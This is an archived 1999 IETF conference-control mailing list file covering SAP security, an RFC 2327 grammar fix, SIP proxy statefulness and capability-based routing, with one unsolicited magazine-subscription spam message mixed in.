Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-11.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981228093717.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-11.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-11.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981228093717.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Jan  4 02:37:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA13209
	for confctrl-outgoing; Mon, 4 Jan 1999 02:37:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA13204
	for <confctrl@zephyr.isi.edu>; Mon, 4 Jan 1999 02:37:28 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA04988;
	Mon, 4 Jan 1999 02:37:25 -0800 (PST)
Received: from thames.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06638-0@bells.cs.ucl.ac.uk>; Mon, 4 Jan 1999 10:36:16 +0000
Received: from telis.cs.ucl.ac.uk by thames.cs.ucl.ac.uk with SMTP (PP);
          Mon, 4 Jan 1999 10:36:03 +0000
Message-Id: <3.0.1.32.19990104103631.00db9edc@cs.ucl.ac.uk>
X-Sender: Kirstein@cs.ucl.ac.uk
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Mon, 04 Jan 1999 10:36:31 +0000
To: Mark Handley <mjh@ISI.EDU>
From: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>
Subject: Re: mmusic-sap with security
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark,

I have had long discussions with Colin and Ed. I am sorry that I was not at
the IETF meeting to present my views, but appreciate that the feeling of
the meeting was either symmetric encryption now or a long delay. The
reasons for the concern about encryption I find a little specious; I
appreciate that encrypting announcements for a small number of people is of
doubtful use, but that applies to all announcements of small groups. The
possibility of address clashes is a possibility, but can be made unlikely.

In the circumstances, I suggest the following:

1. We try to get the document(s) of SAP with security out fast.

2. I do not care whether authentication and encryption are a separate 
   document as now, or whether you combine them. I am very concerned, however,
   that something gets out quickly. Which would be faster, if you combine
   them and get through one document, or if we make it two documents?

3. We keep in the privacy header, which contains an encryption algorithm ID. 
   For now only a few symmetric algorithms like IDEA, DES and triple DES are 
   defined. 

How soon do you think we can get the above through, and what do you need
still from us?

Will you be in the Berkley retreat next week?

Happy New Year

Peter


From confctrl-owner  Mon Jan  4 09:37:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23726
	for confctrl-outgoing; Mon, 4 Jan 1999 09:37:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23719
	for <confctrl@zephyr.isi.edu>; Mon, 4 Jan 1999 09:37:36 -0800 (PST)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21939
	for <confctrl@ISI.EDU>; Mon, 4 Jan 1999 09:37:35 -0800 (PST)
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12])
	by proxy4.ba.best.com (8.9.1/8.9.0/best.out) with SMTP id JAA02707
	for <confctrl@ISI.EDU>; Mon, 4 Jan 1999 09:32:14 -0800 (PST)
Message-Id: <3.0.5.16.19990104093121.3d9f3b2a@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Mon, 04 Jan 1999 09:31:21
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: mmusic-sap with security
In-Reply-To: <3.0.1.32.19990104103631.00db9edc@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Not having attended the Orlando meeting, I've missed the context behind
this.  (Just now I tried watching the MMUSIC session on the GaTech
"Interactive Multimedia Jukebox", but there was no audio, and the slides on
the video changed  too quickly to follow.)

Are the slides from the Orlando MMUSIC session online yet?  (For some
reason the MMUSIC page on www.ietf.org doesn't point to slides from *any*
previous MMUSIC sessions.)

	Ross.


From confctrl-owner  Wed Jan  6 11:31:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05799
	for confctrl-outgoing; Wed, 6 Jan 1999 11:31:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05794
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 11:31:31 -0800 (PST)
Received: from sisfw.sis-inc.com (root@[207.225.27.122])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13313;
	Wed, 6 Jan 1999 11:31:26 -0800 (PST)
Received: from sis-inc.com (IDENT:137@rohai.sis-inc.com [192.79.18.64])
	by sisfw.sis-inc.com (8.9.1/8.9.1) with ESMTP id MAA09252;
	Wed, 6 Jan 1999 12:46:28 -0700
Message-ID: <3693B989.1BFF101F@sis-inc.com>
Date: Wed, 06 Jan 1999 12:29:13 -0700
From: Jim Densmore <Jim.Densmore@sis-inc.com>
Organization: Systems Integration Software
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.0.36 i686)
MIME-Version: 1.0
To: confctrl@ISI.EDU, mjh@ISI.EDU, van@ee.lbl.gov
Subject: RFC 2327
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

RFC 2327

Minor bug, I believe, on page 30 in the ABNF for the zone-adjustments
rule:

is

zone-adjustments = time space ["-"] typed-time
                   *(space time space ["-"] typed-time)

should be

zone-adjustments = "z=" time space ["-"] typed-time
                   *(space time space ["-"] typed-time)


Thanks.

-- 
    --  Jim Densmore   --   Systems Integration Software
        --  +1 (719) 578-9100 x35   Jim.Densmore@sis-inc.com

From confctrl-owner  Wed Jan  6 12:17:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA09632
	for confctrl-outgoing; Wed, 6 Jan 1999 12:17:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA09627
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 12:17:15 -0800 (PST)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA18541
	for <confctrl@ISI.EDU>; Wed, 6 Jan 1999 12:17:14 -0800 (PST)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-US Robotics)
	id OAA09149; Wed, 6 Jan 1999 14:21:36 -0600 (CST)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.1  (569.2 2-6-1998))  id 862566F1.006FEC43 ; Wed, 6 Jan 1999 14:22:29 -0600
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Guido Schuster" <Guido_Schuster@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862566F1.006FCB81.00@mwgate02.mw.3com.com>
Date: Wed, 6 Jan 1999 14:23:00 -0600
Subject: Stateless Proxies
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Hello All,

I am a bit confused about this.

Why can a forking SIP proxy not be stateless?  For that matter, what kind
of proxy needs state and why?

Thanks

Guido



From confctrl-owner  Wed Jan  6 13:10:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA11611
	for confctrl-outgoing; Wed, 6 Jan 1999 13:10:15 -0800 (PST)
Received: from boramai.kaist.ac.kr (boramai.kaist.ac.kr [143.248.173.31])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id NAA11606;
	Wed, 6 Jan 1999 13:10:12 -0800 (PST)
Received: from [207.240.233.88] (02-099.012.popsite.net [207.240.233.99]) by boramai.kaist.ac.kr (8.6.9H1/8.6.9) with ESMTP id FAA04111; Thu, 7 Jan 1999 05:54:45 +0900
Message-Id: <v03010d1ab2b8931e2321@[207.240.233.43]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 6 Jan 1999 15:35:17 -0400
To: Tempting Tear-Outs <temptingtearouts@1stconnect.com>
From: Tempting Tear-Outs <temptingtearouts@1stconnect.com>
Subject: >>>>>>  L@@K!    Amazing Free Offer!!!   Unbelievable, but True!
 <<<<<<<        11
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from our mailing list, please send email to:
temptingtearouts@1stconnect.com with the subject line of "remove."

FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to:                1-718-227-9125   (this
is a fax # in the USA)

or send via smail (first class mail or airmail) to:
                                         Tempting Tear-Outs
                                         Att. Free-catalogue-by-email Dept
                                         3835 Richmond Ave.  Suite #200
                                         Staten Island NY  10312-3828
                                         USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs
010699-ls11-lafoubt-la

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a
     single email message, 316K in size.  If you use pine or elm on a unix
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.
     However, if your software limits incoming email messages to a
     certain size, say 32K or so, then your software will split it into
     multiple email message parts.   Whether you receive it as a single
     email message or multiple part email messages, you can easily
     paste it into one whole text document with your word processor, in
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file
     ~316K - you must know how to download an attached text file and
     then be able to locate it on your hard drive or system home
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around
     within the catalogue with your word processing software, if your
     normal email reading software doesn't allow this.


VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   you must call from an "unblocked number," ie. one that is not blocked
from caller id.  We are very sorry for this requirement, but our fax
software requires this before it allows an incoming fax call to connect.
If you have a blocked number, you must first unblock it.  In most cases
this means dialing *82 from a touch-tone phone (or 1182 from a rotary
phone) before you dial 1-718-227-9125.     NOTE:  If you are not sure if
your number is blocked, just try dialing our fax # normally.  If you don't
get a recording telling you your number is blocked, your number has been
transmitted and you may press the start button on your fax when you hear
the fax tone from our fax.
2.   no reply forms can be accepted by email....only via fax or smail.
3.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.
4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.
5.   forms not *completely* filled in will not be acknowledged.
6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)
7.   your fax must not exceed 1 page in length.   Faxes of 2 or more pages
will be sensed, then auto-terminated and deleted.  Your fax goes directly
onto our 5.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.
8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*
9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.
10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(
11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

MORE ABOUT THE COMPANY MAKING THE FREE OFFER:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
*any* country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency.
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on advertising rates, please write us on your company
letterhead, w/business card, via smail to:   Tempting Tear-Outs, 3835
Richmond Ave. Suite #200, Staten Island NY  10312-3828, USA.



From confctrl-owner  Wed Jan  6 14:18:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA15443
	for confctrl-outgoing; Wed, 6 Jan 1999 14:18:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15438
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 14:18:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA29492
	for <confctrl@isi.edu>; Wed, 6 Jan 1999 14:18:02 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jan  6 17:16:42 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id RAA11302;
	Wed, 6 Jan 1999 17:16:41 -0500 (EST)
Message-ID: <3693E013.651E7B1E@dnrc.bell-labs.com>
Date: Wed, 06 Jan 1999 17:13:39 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Guido Schuster <Guido_Schuster@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Stateless Proxies
References: <862566F1.006FCB81.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A forking SIP proxy cannot be stateless because it needs to perform a
filtering operation, returning (in general) one response out of the many
it receives. For example, a forking proxy with three branches, that
receives a 300 class, 400 class, and 500 class response on each branch
respectively, should return only the 300 class response upstream. If the
proxy were stateless, it would end up returning all three of the
responses upstream (since it won't remember that it had received prior
responses when it gets another one). The result of this is (1) response
implosion at the client, and (2) inconsistent responses at the client.
Thus, a forking proxy must be stateful.

Also note that a proxy that uses TCP must be stateful as well, whether
it forks or not. This has to do with reliability issues.

Why do you want state in a proxy? Certain services (like forking) simply
require it. A sequential search proxy requires state; sequential search
is the heart of services like follow-me and personal mobility. Its at
the discretion of the implementor whether to use a stateful or stateless
proxy. You can even be "super stateful", and use the Record-Route header
to allow a proxy to be on the signaling path of all subsequent
exchanges. This allows a stateful proxy to maintain call state in
addition to transaction state.

-Jonathan R.

Guido Schuster wrote:
> 
> Hello All,
> 
> I am a bit confused about this.
> 
> Why can a forking SIP proxy not be stateless?  For that matter, what kind
> of proxy needs state and why?
> 
> Thanks
> 
> Guido

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jan  6 14:46:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16750
	for confctrl-outgoing; Wed, 6 Jan 1999 14:46:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16741
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 14:46:42 -0800 (PST)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA03605
	for <confctrl@ISI.EDU>; Wed, 6 Jan 1999 14:46:37 -0800 (PST)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-29 #34393)
 with ESMTP id <0F55002AMTMAHL@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 6 Jan 1999 22:39:52 +0000 (GMT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id VAA14085 for <confctrl@ISI.EDU>;
 Wed, 06 Jan 1999 21:29:13 +0000 (GMT)
Received: from dwillispc3 ([166.35.227.103])
 by omta1.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990106222958.VLGM14051@dwillispc3> for <confctrl@ISI.EDU>;
 Wed, 06 Jan 1999 16:29:58 -0600
Date: Wed, 06 Jan 1999 16:28:26 -0600
From: Dean Willis <Dean.Willis@mci.com>
Subject: Capability-based routing in SIP
To: Conference Control List <confctrl@ISI.EDU>
Message-id: <001701be39c3$e0d1bbc0$67e323a6@dwillispc3.mcit.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


At IETF43 some of us talked about SIP for T.38 FAX, and in fact there's
a nice SDP for T.38 draft in circulation that I've been trying to figure
out how to make use of.

I was running through some scenarios with this for my senior VP the
other day -- scenarios that involved using one address as a sort of
universal in-box for voice, fax, and email. This raised a question that
I could not immediately answer.

Mechanisms exist to correctly route different signalling classes, such
as mail (SMPT via MX) and multimedia sessions (SIP via SRV) to
appropriate destinations.

However, within a session signalling class such as SIP , the situation
gets a little weirder.

Let's say "SIP:dean.willis@mci.com" resolves to a user location server
(combination registrar and redirect server). As a user, I want to define
a profile on this ULS such that my voice calls go to my PC (running a
UAS) if it is registered, and if not go to a voice-mail UAS back at the
office. Fax calls, on the other hand, should transfer to a network fax
machine iff my PC is not available. I'd like to use dynamic registration
(via REGISTER) as much as possible to declare the availability of
endpoints.

It looks as if the ULS is going to have to do capability matching
between incoming calls and possible destinations to handle this in an
intelligent fashion. This seems to me to require parsing the SDP of the
INVITE in the ULS, determining the requirements of the invite, then
matching against the capabilities of the registered or configured
destinations.

However, the basic SIP design postpones capabilities negotiations until
AFTER a destination determination has been made -- and as far as I can
tell, there is no easy mechanism  for capability description in the
REGISTER method.

This would require me to preconfigure possible registrants with the ULS,
which then produces the problem of matching dynamic registrants with
configuration entries to get the information needed to do
capability-based routing.

I could perhaps work around this problem by defining a different
username for each device, associating capabilities with usernames in my
ULS configuration, but this seems rather a complex kludge.

To summarize the issues:

1) Capability-based routing seems to require parsing the SDP to decide
what the session type is. This is problematic for fast setups.

2) There seems to be no defined concise way to describe endpoint
capabilities.

3) The SIP REGISTER method does not seem to support capability
information.

Am I missing something obvious here, or do we really need a richer
capability description and handling mechanism to handle these scenarios?
Once we start talking about an even richer set of messaging sessions --
presence, instant-messaging, and so on, I see the problem becoming even
thornier.

--
Dean Willis
MCI WorldCom Engineering
voice 972-729-4162 v772-4162



From confctrl-owner  Wed Jan  6 14:54:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA17731
	for confctrl-outgoing; Wed, 6 Jan 1999 14:54:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA17726
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 14:54:25 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA04355
	for <confctrl@ISI.EDU>; Wed, 6 Jan 1999 14:54:22 -0800 (PST)
Received: from cisco.com (dhcp-71-150-204.cisco.com [171.71.150.204]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id OAA09029; Wed, 6 Jan 1999 14:53:16 -0800 (PST)
Message-ID: <3693E872.C14E163F@cisco.com>
Date: Wed, 06 Jan 1999 14:49:22 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Guido Schuster <Guido_Schuster@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Stateless Proxies
References: <862566F1.006FCB81.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Guido Schuster wrote:
> 
> Hello All,
> 
> I am a bit confused about this.
> 
> Why can a forking SIP proxy not be stateless?  For that matter, what kind
> of proxy needs state and why?

In the forking case, a proxy server is actually attempting to
locate/contact the callee at one of several locations based on an INVITE
from the caller. It may get responses from zero or more locations. If it
does get a response from one location, it needs to tell the other
locations that it is done.... or connect n or more locations in a
conference. Bottom line, if it forks a request, it needs to remember
where it forked it to. On getting a response, it needs to deal with the
other call legs. This implies state.


Regards
Anup.

From confctrl-owner  Wed Jan  6 15:56:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23888
	for confctrl-outgoing; Wed, 6 Jan 1999 15:56:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23882
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 15:56:01 -0800 (PST)
Received: from pita.cisco.com (pita.cisco.com [171.71.68.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10668
	for <confctrl@ISI.EDU>; Wed, 6 Jan 1999 15:56:00 -0800 (PST)
Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id PAA01369; Wed, 6 Jan 1999 15:55:27 -0800 (PST)
Date: Wed, 6 Jan 1999 15:55:27 -0800 (PST)
From: Dan Wing <dwing@cisco.com>
To: Dean Willis <Dean.Willis@mci.com>
cc: Conference Control List <confctrl@ISI.EDU>, ietf-medfree@imc.org
Subject: Re: Capability-based routing in SIP
In-Reply-To: <001701be39c3$e0d1bbc0$67e323a6@dwillispc3.mcit.com>
Message-ID: <Pine.GSO.4.05.9901061549290.29425-100000@pita.cisco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, 6 Jan 1999, Dean Willis wrote to the IETF mmusic mailing list:

[...]
> To summarize the issues:
> 
> 1) Capability-based routing seems to require parsing the SDP to decide
> what the session type is. This is problematic for fast setups.
> 
> 2) There seems to be no defined concise way to describe endpoint
> capabilities.

The IETF Content Negotiation (conneg) WG is working on just that. Archives
available from <http://www.imc.org/ietf-medfree>, and there are several
drafts available (draft-ietf-conneg*):

  "The ietf-medfree mailing list is to discuss negotiating
   elements of the presentation of documents that are not naturally
   captured by the MIME Media Type."

> 3) The SIP REGISTER method does not seem to support capability
> information.
> 
> Am I missing something obvious here, or do we really need a richer
> capability description and handling mechanism to handle these scenarios?
> Once we start talking about an even richer set of messaging sessions --
> presence, instant-messaging, and so on, I see the problem becoming even
> thornier.

The basis for CONNEG's work has been fax (specifically T.37 / RFC2305 --
store-and-forward fax using SMTP) and the intent is the same expression
syntax can be used for other protocols as well.

-Dan Wing



From confctrl-owner  Wed Jan  6 16:21:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA26547
	for confctrl-outgoing; Wed, 6 Jan 1999 16:21:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA26542
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 16:21:43 -0800 (PST)
